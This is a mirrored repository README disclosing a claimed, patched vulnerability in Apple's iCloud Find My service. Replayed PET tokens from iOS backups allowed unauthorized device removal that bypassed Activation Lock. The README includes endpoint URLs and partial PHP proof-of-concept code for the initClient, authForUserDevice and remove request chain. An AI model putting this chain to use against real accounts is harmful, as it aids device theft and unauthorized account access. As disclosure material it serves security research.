OE1972926887515

KO | EN

gitlite — search

#javascript #typescript #llm #golang #machine-learning #linux #docker #macos #nodejs #windows #kubernetes #awesome-list #vue #security

OE1972926887515

(★ 16)

No description available.

OE1972926887515 최신버젼 다운로드

최종 버전 다운로드 (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# iCloud PET Token Vulnerability — Unauthorized Device Removal via Find My (Apple)

> - Reported to Apple: **March 23, 2024**  
> - Patched: **July 13, 2025** (iOS 18.5)  
> - Apple Report ID: `OE1972926887515`  
> - CVE ID: _Pending (submitted via MITRE, July 19, 2025)_

---

## Summary

This repository documents a critical vulnerability in Apple’s iCloud Find My backend that allowed unauthorized users to:

- Extract a valid **PET (Personal Entitlement Token)** from an iOS backup or proxy request.
- Use that token to impersonate the account holder against Apple’s internal device APIs.
- Remotely **remove iCloud-linked devices** by bypassing authentication and Activation Lock protections.

---

## Proof of Concept (shared privately with Apple)

1. **Extracting PET using `idevicebackup`:**  
   📹 [GETPETANDREFRESHCLIENT.MOV](https://www.mediafire.com/file/wgazlo2it9gijom/GETPETANDREFRESHCLIENT.MOV/file)

2. **Using PET to retrieve `authToken` via `authForUserDevice`:**  
   📹 [GETauthForUserDevice.MOV](https://www.mediafire.com/file/cwo2v6iyto5hrgr/GETauthForUserDevice.MOV/file)

3. **Calling `remove` endpoint to disassociate the device from iCloud:**  
   📹 [REMOVE_ICLOUD.mov](https://www.mediafire.com/file/rlwdo8yay6d5wtl/REMOVE_ICLOUD.mov/file)

---

## ⏳ Disclosure Timeline

- **2024-03-23**: Vulnerability reported to Apple Security.
- **2025-07-13**: Patch released in iOS 18.5.
- **2025-07-18**: Report acknowledged and closed by Apple.
- **2025-07-19**: CVE request submitted to MITRE.

Although over a year passed without feedback, the issue was ultimately patched and confirmed after follow-up.

---

## Technical Overview

The vulnerability was found in Apple’s Find My Device service endpoints hosted at:

- `https://fmipmobile.icloud.com/fmipservice/device/initClient`
- `https://fmipmobile.icloud.com/fmipservice/device/refreshClient`
- `https://fmipmobile.icloud.com/fmipservice/device/authForUserDevice`
- `https://fmipmobile.icloud.com/fmipservice/device/remove`

These APIs accepted PET tokens extracted from local backups or proxy interception, without enforcing proper expiration, uniqueness, or origin verification.

---

## Solution (recommended and adopted)

As part of my disclosure, I explicitly recommended:

- Enforcing a **unique PET per session**, scoped to the **FindMyApp context**, generated by **GSA (General Service Authorization)**.
- Limiting PET validity to **2 minutes** to prevent token replay from backups or unauthorized clients.
- Binding the token to client-specific metadata to prevent cross-context abuse.

These recommendations were implemented by Apple in their July 2025 security update.

---

## 💻 Partial Proof of Concept (Reference Code)

The following examples show critical parts of the vulnerability chain.

### initClient Request

```php
$auth = base64_encode($email . ":" . $PET);
$headers = [
   'Authorization: Basic ' . $auth,
   'Proxy-Connection: keep-alive',
   'Accept-Language: en-us',
   'Content-Type: application/json; charset=utf-8',
   'X-Apple-Find-API-Ver: 3.0',
   'Connection: keep-alive',
   'X-Apple-OAuth-Client-Type: firstPartyAuth',
   'X-Apple-AuthScheme: Forever',
   'X-MMe-Client-Info: <iPhone9,3> <iPhone OS;13.3.1;13G36> <com.apple.AppleAccount/1.0 (com.apple.Preferences/181.1)'
];
$body = json_encode([
    "clientContext" => [ /* valid device info */ ],
    "serverContext" => new stdClass()
]);
$response = curl_post("https://fmipmobile.icloud.com/fmipservice/device/initClient", $headers, $body);
```

###  authForUserDevice Using PET

```php

$payload = [
    "authToken" => $petToken,
    "device" => $deviceId,
    "clientContext" => [ /* cloned device metadata */ ],
    "serverContext" => [ "authToken" => $initAuthToken, "prsId" => $prsId ]
];
$response = curl_post("https://fmipmobile.icloud.com/fmipservice/device/$prsId/authForUserDevice", $headers, json_encode($payload));
```

###  removeDevice Endpoint

```php

$headers = [
    "Authorization: Basic " . base64_encode("$prsId:$initAuthToken"),
    "X-Apple-Command-AuthToken: $commandAuthToken",
    "Content-Type: application/json"
];
$response = curl_post("https://fmipmobile.icloud.com/fmipservice/device/remove", $headers, json_encode(["device" => $deviceId]));
```

## Responsible Disclosure

This vulnerability was reported to Apple via the official [Security Bounty Program](https://support.apple.com/en-us/102774), under tracking ID `OE1972926887515`.

All proof-of-concept material was shared privately and in accordance with Apple’s disclosure guidelines.  
A CVE ID has been requested through MITRE and is pending publication.

---

## Author

**Gerson Aldaz**  
Security Researcher  
📧 aldazactivator@gmail.com  
GitHub: [github.com/AldazActivator](https://github.com/AldazActivator)

---

## 📄 License

> This disclosure is for educational and transparency purposes only, in support of better industry-wide security practices.

OE1972926887515

OE1972926887515 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

OE1972926887515

OE1972926887515 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

Download README